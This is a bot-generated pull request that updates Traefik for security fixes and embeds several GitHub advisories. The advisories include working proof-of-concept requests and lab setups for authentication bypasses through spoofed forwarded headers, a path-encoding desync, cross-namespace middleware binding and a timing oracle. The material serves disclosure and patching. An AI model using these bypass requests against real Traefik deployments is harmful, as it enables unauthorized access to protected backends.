Skip to content

fix(deps): update module github.com/traefik/traefik/v2 to v2.11.44 [security]#555

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-traefik-traefik-v2-vulnerability
Open

fix(deps): update module github.com/traefik/traefik/v2 to v2.11.44 [security]#555
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-traefik-traefik-v2-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Mar 28, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/traefik/traefik/v2 v2.11.41v2.11.44 age confidence

Traefik Vulnerable to BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField

CVE-2026-33433 / GHSA-qr99-7898-vr7c

More information

Details

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.


Original Description
Summary

When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.

Tested on Traefik v3.6.10.

Details

At pkg/middlewares/auth/basic_auth.go:92, the authenticated username is written using direct map assignment:

req.Header[b.headerField] = []string{user}

Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.

The same bug exists in pkg/middlewares/auth/digest_auth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.

PoC

Traefik config (YAML, Docker labels, or REST API):

middlewares:
  auth:
    basicAuth:
      users: ["admin:$2y$05$..."]
      headerField: "x-auth-user"

Normal request (baseline):

curl -u admin:admin http://traefik/secure/test

##### Backend receives: x-auth-user: admin
##### Identity = admin ✓

Attack request:

curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test

##### Backend receives BOTH headers:
#####   X-Auth-User: superadmin   ← attacker-injected (canonical key, read first by most frameworks)

#####   x-auth-user: admin        ← Traefik-set (non-canonical, ignored by most frameworks)
##### Identity seen by backend = superadmin ✗

Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.

This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.

Fix suggestion:

// basic_auth.go:92 and digest_auth.go:100 — change:
req.Header[b.headerField] = []string{user}
// to:
req.Header.Set(b.headerField, user)

Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).

Impact

An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.

The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: Deny Rule Bypass via Unauthenticated Malicious gRPC Requests in gRPC-Go Dependency (CVE-2026-33186)

GHSA-46wh-3698-f2cx

More information

Details

Summary

There is a potential vulnerability in Traefik due to its dependency on an affected version of gRPC-Go (CVE-2026-33186).

A remote, unauthenticated attacker can send gRPC requests with a malformed HTTP/2 :path pseudo-header omitting the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server routes such requests correctly, path-based authorization interceptors evaluate the raw non-canonical path and fail to match "deny" rules, allowing the request to bypass the policy entirely if a fallback "allow" rule is present.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Summary

This CVE hits traefik until Version 3.6.11 and 2.11.41.
gRPC-Go has an authorization bypass via missing leading slash in :path

Details

As described in GHSA-p77j-4mvh-x3m3

PoC

Update library version in
https://github.com/traefik/traefik/blob/67c64ed9b25fbb90f1086977a62827133a7aa01b/go.mod#L108

Impact

Is described in GHSA-p77j-4mvh-x3m3


Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

CVE-2026-35051 / GHSA-6384-m2mw-rf54

More information

Details

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Summary

ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details

The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
    utils.CopyHeaders(forwardReq.Header, req.Header)
    ...
    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

  • X-Forwarded-For
  • X-Forwarded-Method
  • X-Forwarded-Proto
  • X-Forwarded-Port
  • X-Forwarded-Host
  • X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix using Header.Add:

func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
    req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

  1. /admin (attacker-controlled)
  2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

  • The docs say trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
  • The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
  • The direct-to-Traefik test case behaves consistently with that expectation and returns 403.
  • Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

  • pkg/middlewares/auth/forward.go lines 393-459
  • pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
  • pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
  • docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
  • docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC

The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

  1. Create traefik.toml:
[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]
  1. Create dynamic.toml:
[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services]
  [http.services.backend.loadBalancer]
    [[http.services.backend.loadBalancer.servers]]
      url = "http://backend:80"
  1. Create auth.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.startswith("/check"):
            self.send_response(404)
            self.end_headers()
            return

        prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
            self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
            self.end_headers()
            self.wfile.write(b"authorized\n")
            return

        self.send_response(403)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(payload).encode() + b"\n")

HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
  1. Create frontend.conf:
server {
    listen 80;
    access_log /dev/stdout;

    location / {
        proxy_http_version 1.1;
        proxy_pass http://traefik:80;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine
  1. Send three requests:

Direct to Traefik, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

  1. Optional log confirmation from the auth service:
docker logs traefik-readme-auth

Observed log sequence:

{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
  1. Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
Impact

This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

  • run Traefik behind a trusted upstream proxy
  • use ForwardAuth
  • rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
  • pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
  • make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth
    In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: Pre-authentication decision bypass due to forwarded alias spoofing

CVE-2026-39858 / GHSA-5m6w-wvh7-57vm

More information

Details

Summary

There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., X_Forwarded_Proto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Summary

An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded-* headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.

Details

This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.

At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):

Reference : pkg/middlewares/forwardedheaders/forwarded_header.go#L29-L36

var xHeaders = []string{
	xForwardedProto,
	xForwardedFor,
	xForwardedHost,
	xForwardedPort,

This logic focuses exclusively on canonical header names and does not account for alias forms such as X_Forwarded_Proto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.

During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:

Reference : pkg/middlewares/auth/forward.go#L401-L408

utils.CopyHeaders(forwardReq.Header, req.Header)
RemoveConnectionHeaders(forwardReq)
utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.

A similar pattern exists in snippet-based auth:

Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581

utils.CopyHeaders(forwardReq.Header, req.Header)
RemoveConnectionHeaders(forwardReq)
utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

Again, headers are forwarded without enforcing a consistent trust model or canonicalization.

The vulnerability emerges when the auth backend normalizes header names (e.g., treating X_Forwarded_Proto and X-Forwarded-Proto equivalently). In that case:

  • Traefik sanitizes only canonical headers.
  • Alias headers remain attacker-controlled.
  • The auth service merges or evaluates these aliases during normalization.
  • Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.

This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.

PoC
  1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash).
  2. Send a control request (expected: denied):
GET / HTTP/1.1
Host: target.local
User-Agent: poc-control
Connection: close
  1. Send an exploit request with alias headers (expected: allowed):
GET /protected HTTP/1.1
Host: app.example.local
X_Forwarded_Proto: https
X_Forwarded_Host: trusted.example
Connection: close
Impact

This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.

Suggested Remediation
  1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests.
  2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-*).
  3. Restrict which headers are forwarded to auth services (prefer explicit allowlists).
  4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

CVE-2026-40912 / GHSA-6jwx-7vp4-9847

More information

Details

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then
receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

Details

pkg/middlewares/stripprefixregex/strip_prefix_regex.go, line 62:

req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is
present.

Example with regex ^/api:

  • GET /api%20/admin/secret
  • Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
  • Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
  • RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
  • ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
  • Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses
auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a
percent-encoded character to the prefix portion of the URL.


Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret
-> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret
-> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows
-> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret      -> 403 (blocked)
GET /api%2e/admin/secret   -> 200 (bypass — served protected content)
GET /api%20/admin/secret   -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret'    -> DENIED
X-Forwarded-Uri: '/./admin/secret'  -> ALLOWED

Reproduction:

docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik Kubernetes CRD allows unauthorized cross-namespace middleware binding

CVE-2026-41174 / GHSA-xhjw-95fp-8vgq

More information

Details

Summary

There is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.

When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Summary

When providers.kubernetesCRD.allowCrossNamespace=false, Traefik still allows a namespace-local Middleware of type Chain to reference middleware objects from another namespace via spec.chain.middlewares[].namespace.

This bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.

Details

Traefik documents allowCrossNamespace as the control that governs whether IngressRoute objects may reference resources in other namespaces.

Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kubernetes_http.go by makeMiddlewareKeys(...), which rejects cross-namespace references when allowCrossNamespace is disabled.

However, nested middleware references inside Middleware.spec.chain.middlewares[] follow a different code path. createChainMiddleware(...) in pkg/provider/kubernetes/crd/kubernetes.go does not receive or enforce allowCrossNamespace; it resolves mi.Namespace (or defaults to the current namespace) and appends makeID(ns, mi.Name) unconditionally.

At runtime, pkg/server/middleware/middlewares.go qualifies and builds config.Chain.Middlewares, so the cross-namespace middleware is actually loaded and used.

This was verified on the current master at commit 786f7192e11878dfaa634f8263bf79bb730a71cb.

This appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested Chain middleware code path rather than the already-guarded direct reference path.

Expected behavior

When providers.kubernetesCRD.allowCrossNamespace=false, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an IngressRoute or indirectly through a local Chain middleware.

Actual behavior

A namespace-local Chain middleware can reference spec.chain.middlewares[].namespace in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.

Attacker prerequisites

The attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.

PoC
  1. Run Traefik with the Kubernetes CRD provider and set allowCrossNamespace: false.

  2. Create two namespaces, for example default and cross-ns.

  3. Apply a middleware in cross-ns:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: victim-strip
  namespace: cross-ns
spec:
  stripPrefix:
    prefixes:
      - /secret
  1. Apply a chain middleware in default that references the middleware above:
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: mychain
  namespace: default
spec:
  chain:
    middlewares:
      - name: victim-strip
        namespace: cross-ns
  1. Apply an IngressRoute in default that references only the local mychain middleware:
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
  name: demo
  namespace: default
spec:
  entryPoints:
    - web
  routes:
    - match: Host(`example.test`) && PathPrefix(`/demo`)
      kind: Rule
      middlewares:
        - name: mychain
      services:
        - name: whoami
          port: 80
  1. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from cross-ns even though allowCrossNamespace is disabled.

  2. As a control, replace the local chain reference in the IngressRoute with a direct cross-namespace middleware reference. That direct reference is rejected when allowCrossNamespace=false, which indicates the bypass is specific to nested Chain middleware resolution.

Impact

This is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.

Clusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.

The practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.

Testers have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: A timing side-channel vulnerability allows for valid username enumeration via BasicAuth middleware

CVE-2026-41263 / GHSA-6x2q-h3cr-8j2h

More information

Details

Summary

There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.

The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion
TL;DR

The patch for CVE-2026-32595 is a no-op. Line 49 of basic_auth.go has a
map key/value confusion that makes notFoundSecret always "". The
"constant time" fallback calls goauth.CheckSecret(password, ""), which
fast-fails in ~1us instead of running bcrypt (~60ms).

Evidence (HEAD 786f7192e, 2026-04-09)

Black-box PoC against live traefik binary on port 28080:

bucket n median min
existing user (wrong pw) 240 62.85 ms 57.54 ms
nonexistent user (wrong pw) 400 0.48 ms 0.35 ms

Median ratio: 130.4x. Classification: 8/8 correct.

Go in-tree test: goauth.CheckSecret direct ratio 12,746x.

Root cause (4-step trace)
  1. basic_auth.go:49: users[slices.Collect(maps.Values(users))[0]] -- looks
    up a hash as a username key, returns "".
  2. basic_auth.go:119-120: calls goauth.CheckSecret(password, "").
  3. go-http-auth/basic.go:87: empty string matches no prefix, falls to default
    compareMD5HashAndPassword.
  4. basic.go:107-109: bytes.SplitN("", "$", 4) returns length 1, function
    returns instantly.
Files
  • poc/exploit.py -- black-box Python timing oracle
  • poc/basic_auth_timing_regression_test.go -- Go in-tree test
  • poc/traefik.yml + poc/dynamic.yml -- traefik config
  • poc/live_http_poc_output_head.txt -- verbatim PoC output on HEAD

Koda Reef


Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik's errors middleware forwards Authorization and Cookie headers to separate error page service

CVE-2026-41181 / GHSA-p6hg-qh38-555r

More information

Details

Summary

There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Description

Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.

This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.

The root cause is in pkg/middlewares/customerrors/custom_errors.go:151-160:

if len(c.forwardNginxHeaders) > 0 {
    utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)
    pageReq.Header.Set("X-Code", strconv.Itoa(code))
    pageReq.Header.Set("X-Format", req.Header.Get("Accept"))
    pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI())
} else {
    utils.CopyHeaders(pageReq.Header, req.Header)
}

Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.

Steps To Reproduce
  1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASE_URL = "http://127.0.0.1:28080", API_BASE_URL = "http://127.0.0.1:28180", ROUTER_PATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".

  2. Start the two attached helper services customerrors_backend.py and customerrors_error.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:

traefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)
traefik.http.routers.audit-customerrors.entrypoints=web
traefik.http.routers.audit-customerrors.priority=100
traefik.http.routers.audit-customerrors.service=audit-backend
traefik.http.routers.audit-customerrors.middlewares=audit-leak
